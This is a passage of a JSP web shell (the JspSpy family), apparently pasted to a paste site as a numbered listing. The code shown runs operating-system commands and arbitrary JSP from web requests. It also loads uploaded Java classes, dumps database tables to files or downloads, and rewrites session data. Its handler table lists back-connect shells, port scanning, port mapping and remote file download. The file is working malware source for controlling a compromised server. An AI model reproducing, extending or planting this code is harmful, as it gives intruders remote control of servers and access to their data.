  2894. new OnLineConnector(new ByteArrayInputStream(outs.toByteArray()),pro.getOutputStream(),"exeOclientR",olp).start();
  2895. new OnLineConnector(pro.getInputStream(),response.getOutputStream(),"exeRclientO",olp).start();
  2896. new OnLineConnector(pro.getErrorStream(),response.getOutputStream(),"exeRclientO",olp).start();
  2897. Thread.sleep(1000 * 60 * 60 * 24);
  2898. } else if (type.equals("ecmd")) {
  2899. Object o = JSession.getAttribute(SHELL_ONLINE);
  2900. String cmd = request.getParameter("cmd");
  2901. if (Util.isEmpty(cmd))
  2902. return;
  2903. if (o == null)
  2904. return;
  2905. OnLineProcess olp = (OnLineProcess)o;
  2906. olp.setCmd(cmd);
  2907. } else {
  2908. Object o = JSession.getAttribute(SHELL_ONLINE);
  2909. if (o == null)
  2910. return;
  2911. OnLineProcess olp = (OnLineProcess)o;
  2912. olp.stop();
  2913. }
  2914. } catch (Exception e) {
  2915.  
  2916. throw e;
  2917. }
  2918. }
  2919. }
  2920. private static class EnterInvoker extends DefaultInvoker {
  2921. public boolean doBefore(){return false;}
  2922. public boolean doAfter(){return false;}
  2923. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2924. PrintWriter out = response.getWriter();
  2925. String type = request.getParameter("type");
  2926. if (!Util.isEmpty(type)) {
  2927. JSession.removeAttribute(ENTER);
  2928. JSession.removeAttribute(ENTER_MSG);
  2929. JSession.removeAttribute(ENTER_CURRENT_DIR);
  2930. JSession.setAttribute(MSG,"Exit File Success ! ");
  2931. } else {
  2932. String f = request.getParameter("filepath");
  2933. if (Util.isEmpty(f))
  2934. return;
  2935. JSession.setAttribute(ENTER,f);
  2936. JSession.setAttribute(ENTER_MSG,"You Are In File <a style='color:red'>\""+f+"\"</a> Now ! <a href=\"javascript:doPost({o:'enter',type:'exit'})\"> Exit </a>");
  2937. }
  2938. response.sendRedirect(SHELL_NAME);
  2939. }
  2940. }
  2941. private static class VExport2FileInvoker extends DefaultInvoker {
  2942. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2943. PrintWriter out = response.getWriter();
  2944. String type = request.getParameter("type");
  2945. String sql = request.getParameter("sql");
  2946. String table = request.getParameter("table");
  2947. if (Util.isEmpty(sql) && Util.isEmpty(table)) {
  2948. JSession.setAttribute(SESSION_O,"vConn");
  2949. response.sendRedirect(SHELL_NAME);
  2950. return;
  2951. }
  2952. out.println("<form action=\"\" method=\"post\">"+
  2953. "<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  2954. " <tr>"+
  2955. " <td>"+
  2956. " <input type=\"hidden\" name=\"o\" value=\"export\"/>"+
  2957. " <input type=\"hidden\" name=\"type\" value=\""+(Util.isEmpty(type) ? "" : type)+"\"/>"+
  2958. " <input type=\"hidden\" name=\"sql\" value=\""+(Util.isEmpty(sql) ? "" : sql.replaceAll("\"","&quot;"))+"\"/>"+
  2959. " <input type=\"hidden\" name=\"table\" value=\""+(Util.isEmpty(table) ? "" : table)+"\"/>"+
  2960. " <h2>Export To File &raquo;</h2>"+
  2961. " "+
  2962. " <hr/>Export \"<span style='color:red;font-weight:bold'>"+(Util.isEmpty(sql) ? table : sql.replaceAll("\"","&quot;"))+"</span>\" To File : <input type=\"text\" style=\"font-weight:bold\" name=\"filepath\" value=\""+(JSession.getAttribute(CURRENT_DIR).toString()+"/exportdata.txt")+"\" size=\"100\" class=\"input\"/> <input type=\"submit\" class=\"bt\" value=\"Export\"/><br/><br/>"+BACK_HREF+"</td>"+
  2963. " </tr>"+
  2964. " </table>"+
  2965. "</form>");
  2966. }
  2967. }
  2968.  
  2969. private static class ExportInvoker extends DefaultInvoker {
  2970. public boolean doBefore(){return false;}
  2971. public boolean doAfter(){return false;}
  2972. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2973. String type = request.getParameter("type");
  2974. String filepath = request.getParameter("filepath");
  2975. String sql = null;
  2976. DBOperator dbo = null;
  2977. dbo = (DBOperator)JSession.getAttribute(DBO);
  2978.  
  2979. if (Util.isEmpty(type)) {
  2980. //table export
  2981. String tb = request.getParameter("table");
  2982. if (Util.isEmpty(tb))
  2983. return;
  2984. String s = dbo.getConn().getMetaData().getIdentifierQuoteString();
  2985. sql = "select * from "+s+tb+s;
  2986.  
  2987. } else if (type.equals("queryexp")) {
  2988. //query export
  2989. sql = request.getParameter("sql");
  2990. if (Util.isEmpty(sql)) {
  2991. JSession.setAttribute(SESSION_O,"vConn");
  2992. response.sendRedirect(SHELL_NAME);
  2993. return;
  2994. }
  2995. }
  2996. Object o = dbo.execute(sql);
  2997. ByteArrayOutputStream bout = new ByteArrayOutputStream();
  2998. byte[] rowSep = "\r\n".getBytes();
  2999. if (o instanceof ResultSet) {
  3000. ResultSet rs = (ResultSet)o;
  3001. ResultSetMetaData meta = rs.getMetaData();
  3002. int count = meta.getColumnCount();
  3003. for (int i =1;i<=count;i++) {
  3004. String colName = meta.getColumnName(i)+"\t";
  3005. byte[] b = colName.getBytes();
  3006. bout.write(b,0,b.length);
  3007. }
  3008. bout.write(rowSep,0,rowSep.length);
  3009. while (rs.next()) {
  3010. for (int i =1;i<=count;i++) {
  3011. String v = null;
  3012. try {
  3013. v = rs.getString(i);
  3014. } catch (SQLException ex) {
  3015. v = "<<Error!>>";
  3016. }
  3017. v += "\t";
  3018. byte[] b = v.getBytes();
  3019. bout.write(b,0,b.length);
  3020. }
  3021. bout.write(rowSep,0,rowSep.length);
  3022. }
  3023. rs.close();
  3024. ByteArrayInputStream input = new ByteArrayInputStream(bout.toByteArray());
  3025. BufferedOutputStream output = null;
  3026. if (!Util.isEmpty(filepath)) {
  3027. //export2file
  3028. output = new BufferedOutputStream(new FileOutputStream(new File(filepath)));
  3029. } else {
  3030. //download.
  3031. response.setHeader("Content-Disposition","attachment;filename=DataExport.txt");
  3032. output = new BufferedOutputStream(response.getOutputStream());
  3033. }
  3034. byte[] data = new byte[1024];
  3035. int len = input.read(data);
  3036. while (len != -1) {
  3037. output.write(data,0,len);
  3038. len = input.read(data);
  3039. }
  3040. bout.close();
  3041. input.close();
  3042. output.close();
  3043. if (!Util.isEmpty(filepath)) {
  3044. JSession.setAttribute(MSG,"Export To File Success !");
  3045. response.sendRedirect(SHELL_NAME);
  3046. }
  3047. }
  3048. }
  3049. }
  3050. private static class EvalInvoker extends DefaultInvoker {
  3051. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  3052. String type = request.getParameter("type");
  3053. PrintWriter out = response.getWriter();
  3054. Object msg = JSession.getAttribute(MSG);
  3055. if (msg != null) {
  3056. Util.outMsg(out,(String)msg);
  3057. JSession.removeAttribute(MSG);
  3058. }
  3059. if (Util.isEmpty(type)) {
  3060. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  3061. " <tr>"+
  3062. " <td><h2>Eval Java Code &raquo;</h2>"+
  3063. "<hr/>"+
  3064. " <p>"+
  3065. " <form action=\""+SHELL_NAME+"?o=eu\" method=\"post\" enctype=\"multipart/form-data\">"+
  3066. "UpLoad a Class File : ");
  3067. Util.outMsg(out,"<pre>"+
  3068. "<span style='color:blue'>public class</span> SpyEval{\r\n"+
  3069. " <span style='color:blue'>static</span> {\r\n"+
  3070. " <span style='color:green'>//Your Code Here.</span>\r\n"+
  3071. " }\r\n"+
  3072. "}\r\n"+
  3073. "</pre>","left");
  3074. out.println(" <input class=\"input\" name=\"file\" type=\"file\"/> <input type=\"submit\" class=\"bt\" value=\" Eval \"></form><hr/>"+
  3075. " <form action=\""+SHELL_NAME+"\" method=\"post\"><p></p>Jsp Eval : <br/>"+
  3076. " <input type=\"hidden\" name=\"o\" value=\"ev\"><input type=\"hidden\" name=\"type\" value=\"jsp\">"+
  3077. " <textarea name=\"jspc\" rows=\"15\" cols=\"70\">"+URLDecoder.decode("%3C%25%40page+pageEncoding%3D%22utf-8%22%25%3E%0D%0A%3C%25%0D%0A%2F%2Fyour+code+here.%0D%0Aout.println%28%22create+a+jsp+file+then+include+it+%21+by++ninty%22%29%3B%0D%0A%25%3E","utf-8")+"</textarea>"+
  3078. " <br/><input class=\"bt\" name=\"button\" id=\"button\" value=\"Eval\" type=\"submit\" size=\"100\" />"+
  3079. " </form>"+
  3080. " </p>"+
  3081. " </td>"+
  3082. " </tr>"+
  3083. "</table>");
  3084. } else if (type.equals("jsp")){
  3085. String jspc = request.getParameter("jspc");
  3086. if (Util.isEmpty(jspc))
  3087. return;
  3088. File f = new File(SHELL_DIR,"evaltmpninty.jsp");
  3089. BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f),"utf-8"));
  3090. writer.write(jspc,0,jspc.length());
  3091. writer.flush();
  3092. writer.close();
  3093. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  3094. " <tr>"+
  3095. " <td><h2>Jsp Eval Result &raquo;</h2>");
  3096. out.println("<div style=\"background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:left;font-weight:bold;margin:10px\">");
  3097. request.getRequestDispatcher("evaltmpninty.jsp").include(request,response);
  3098. out.println("</div><input type=\"button\" value=\" Back \" class=\"bt\" onclick=\"history.back()\"></td></tr></table> ");
  3099. f.delete();
  3100. }
  3101. }
  3102. }
  3103. private static class EvalUploadInvoker extends DefaultInvoker {
  3104. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  3105. ByteArrayOutputStream stream = new ByteArrayOutputStream();
  3106. UploadBean upload = new UploadBean();
  3107. upload.setTargetOutput(stream);
  3108. upload.parseRequest(request);
  3109.  
  3110. if (stream.toByteArray().length == 2) {
  3111. JSession.setAttribute(MSG,"Please Upload Your Class File ! ");
  3112. ((Invoker)ins.get("ev")).invoke(request,response,JSession);
  3113. return;
  3114. }
  3115. SpyClassLoader loader = new SpyClassLoader();
  3116. try {
  3117. Class c = loader.defineClass(null,stream.toByteArray());
  3118. c.newInstance();
  3119. }catch(Exception e) {
  3120. }
  3121. stream.close();
  3122. JSession.setAttribute(MSG,"Eval Java Class Done ! ");
  3123. ((Invoker)ins.get("ev")).invoke(request,response,JSession);
  3124. }
  3125. }
  3126. private static class VOtherInvoker extends DefaultInvoker {
  3127. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  3128. try {
  3129. PrintWriter out = response.getWriter();
  3130. Object msg = JSession.getAttribute(MSG);
  3131. if (msg != null) {
  3132. Util.outMsg(out,(String)msg);
  3133. JSession.removeAttribute(MSG);
  3134. }
  3135. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  3136. " <tr>"+
  3137. " <td><h2 id=\"Bin_H2_Title\">Session Manager&gt;&gt;</h2><hr/>"+
  3138. " <div id=\"hOWTm\" style=\"line-height:30px\">"+
  3139. " <ul>");
  3140. Enumeration en = JSession.getAttributeNames();
  3141. while (en.hasMoreElements()) {
  3142. Object o = en.nextElement();
  3143. if (o.toString().equals(MSG))
  3144. continue;
  3145. out.println("<li><form action='"+SHELL_NAME+"' method='post'><u>"+o.toString()+"</u> <input type=\"text\" name=\"value\" class=\"input\" size=\"50\" value=\""+JSession.getAttribute(o.toString())+"\">");
  3146. out.println("<input type='button' class='bt' value='Update' onclick=\"this.form.elements['type'].value='update';this.form.submit()\"> <input type='button' onclick=\"this.form.elements['type'].value='delete';this.form.submit()\" class='bt' value='Delete'/>");
  3147. out.println("<input type='hidden' name='o' value='sm'/><input type='hidden' name='type'/>");
  3148. out.println("<input type='hidden' name='name' value='"+o.toString()+"'/>");
  3149. out.println("</form></li>");
  3150. }
  3151. out.println("<li style='list-style:none'><form action='"+SHELL_NAME+"' method='post'><fieldset>"+
  3152. "<legend>New Session Attribute</legend>"+
  3153. "name : <input type=\"text\" name=\"name\" value=\"\" class=\"input\"> value : <input type=\"text\""+
  3154. " name=\"value\" class=\"input\"/> <input type='submit' value='Add' class='bt'><input type='hidden' name='o' value='sm'/><input type='hidden' name='type' value='update'>"+
  3155. " </fieldset></form></li></ul></div></td>"+
  3156. " </tr>"+
  3157. " </table>");
  3158. } catch (Exception e) {
  3159. throw e ;
  3160. }
  3161. }
  3162. }
  3163. //Session Manager
  3164. private static class SmInvoker extends DefaultInvoker {
  3165. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  3166. try {
  3167. String type = request.getParameter("type");
  3168. PrintWriter out = response.getWriter();
  3169. if (type.equals("update")) {
  3170. String name = request.getParameter("name");
  3171. String value = request.getParameter("value");
  3172. JSession.setAttribute(name,value);
  3173. JSession.setAttribute(MSG,"Update/Add Attribute Success !");
  3174. } else if (type.equals("delete")) {
  3175. String name = request.getParameter("name");
  3176. JSession.removeAttribute(name);
  3177. JSession.setAttribute(MSG,"Remove Attribute Success !");
  3178. }
  3179. ((Invoker)ins.get("vother")).invoke(request,response,JSession);
  3180. } catch (Exception e) {
  3181.  
  3182. throw e ;
  3183. }
  3184. }
  3185. }
  3186.  
  3187. static{
  3188. ins.put("script",new ScriptInvoker());
  3189. ins.put("before",new BeforeInvoker());
  3190. ins.put("after",new AfterInvoker());
  3191. ins.put("deleteBatch",new DeleteBatchInvoker());
  3192. ins.put("clipboard",new ClipBoardInvoker());
  3193. ins.put("vPortScan",new VPortScanInvoker());
  3194. ins.put("portScan",new PortScanInvoker());
  3195. ins.put("vConn",new VConnInvoker());
  3196. ins.put("dbc",new DbcInvoker());
  3197. ins.put("executesql",new ExecuteSQLInvoker());
  3198. ins.put("vLogin",new VLoginInvoker());
  3199. ins.put("login",new LoginInvoker());
  3200. ins.put("filelist", new FileListInvoker());
  3201. ins.put("logout",new LogoutInvoker());
  3202. ins.put("upload",new UploadInvoker());
  3203. ins.put("copy",new CopyInvoker());
  3204. ins.put("bottom",new BottomInvoker());
  3205. ins.put("vCreateFile",new VCreateFileInvoker());
  3206. ins.put("vEdit",new VEditInvoker());
  3207. ins.put("createFile",new CreateFileInvoker());
  3208. ins.put("vEditProperty",new VEditPropertyInvoker());
  3209. ins.put("editProperty",new EditPropertyInvoker());
  3210. ins.put("vs",new VsInvoker());
  3211. ins.put("shell",new ShellInvoker());
  3212. ins.put("down",new DownInvoker());
  3213. ins.put("vd",new VdInvoker());
  3214. ins.put("downRemote",new DownRemoteInvoker());
  3215. ins.put("index",new IndexInvoker());
  3216. ins.put("mkdir",new MkDirInvoker());
  3217. ins.put("move",new MoveInvoker());
  3218. ins.put("removedir",new RemoveDirInvoker());
  3219. ins.put("packBatch",new PackBatchInvoker());
  3220. ins.put("pack",new PackInvoker());
  3221. ins.put("unpack",new UnPackInvoker());
  3222. ins.put("vmp",new VmpInvoker());
  3223. ins.put("vbc",new VbcInvoker());
  3224. ins.put("backConnect",new BackConnectInvoker());
  3225. ins.put("jspEnv",new JspEnvInvoker());
  3226. ins.put("smp",new SmpInvoker());
  3227. ins.put("mapPort",new MapPortInvoker());
  3228. ins.put("top",new TopInvoker());
  3229. ins.put("vso",new VOnLineShellInvoker());
  3230. ins.put("online",new OnLineInvoker());
  3231. ins.put("enter",new EnterInvoker());
  3232. ins.put("export",new ExportInvoker());
  3233. ins.put("ev",new EvalInvoker());
  3234. ins.put("eu",new EvalUploadInvoker());
  3235. ins.put("vother",new VOtherInvoker());
  3236. ins.put("sm",new SmInvoker());
  3237. ins.put("vExport",new VExport2FileInvoker());
  3238. ins.put("vPack",new VPackConfigInvoker());
  3239. ins.put("reflect",new ReflectInvoker());
  3240. ins.put("portBack",new PortBackInvoker());
  3241. }
  3242. %>
  3243. <%
  3244. try {
  3245. String o = request.getParameter("o");
  3246. if (Util.isEmpty(o)) {
  3247. if (session.getAttribute(SESSION_O) == null)
  3248. o = "index";
  3249. else {
  3250. o = session.getAttribute(SESSION_O).toString();
  3251. session.removeAttribute(SESSION_O);
  3252. }
  3253. }
  3254. Object obj = ins.get(o);
  3255. if (obj == null) {
  3256. response.sendRedirect(SHELL_NAME);
  3257. } else {
  3258. Invoker in = (Invoker)obj;
  3259. if (in.doBefore()) {
  3260. String path = request.getParameter("folder");
  3261. if (!Util.isEmpty(path) && session.getAttribute(ENTER) == null)
  3262. session.setAttribute(CURRENT_DIR,path);
  3263. ((Invoker)ins.get("before")).invoke(request,response,session);
  3264. ((Invoker)ins.get("script")).invoke(request,response,session);
  3265. ((Invoker)ins.get("top")).invoke(request,response,session);
  3266. }
  3267. in.invoke(request,response,session);
  3268. if (!in.doAfter()) {
  3269. return;
  3270. }else{
  3271. ((Invoker)ins.get("bottom")).invoke(request,response,session);
  3272. ((Invoker)ins.get("after")).invoke(request,response,session);
  3273. }
  3274. }
  3275. } catch (Exception e) {
  3276. Object msg = session.getAttribute(MSG);
  3277. if (msg != null) {
  3278. Util.outMsg(out,(String)msg);
  3279. session.removeAttribute(MSG);
  3280. }
  3281. if (e.toString().indexOf("ClassCastException") != -1) {
  3282. Util.outMsg(out,MODIFIED_ERROR + BACK_HREF);
  3283. }
  3284. ByteArrayOutputStream bout = new ByteArrayOutputStream();
  3285. e.printStackTrace(new PrintStream(bout));
  3286. session.setAttribute(CURRENT_DIR,SHELL_DIR);
  3287. Util.outMsg(out,Util.htmlEncode(new String(bout.toByteArray())).replaceAll("\n","<br/>"),"left");
  3288. bout.close();
  3289. out.flush();
  3290. ((Invoker)ins.get("bottom")).invoke(request,response,session);
  3291. ((Invoker)ins.get("after")).invoke(request,response,session);
  3292. }
  3293. %>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement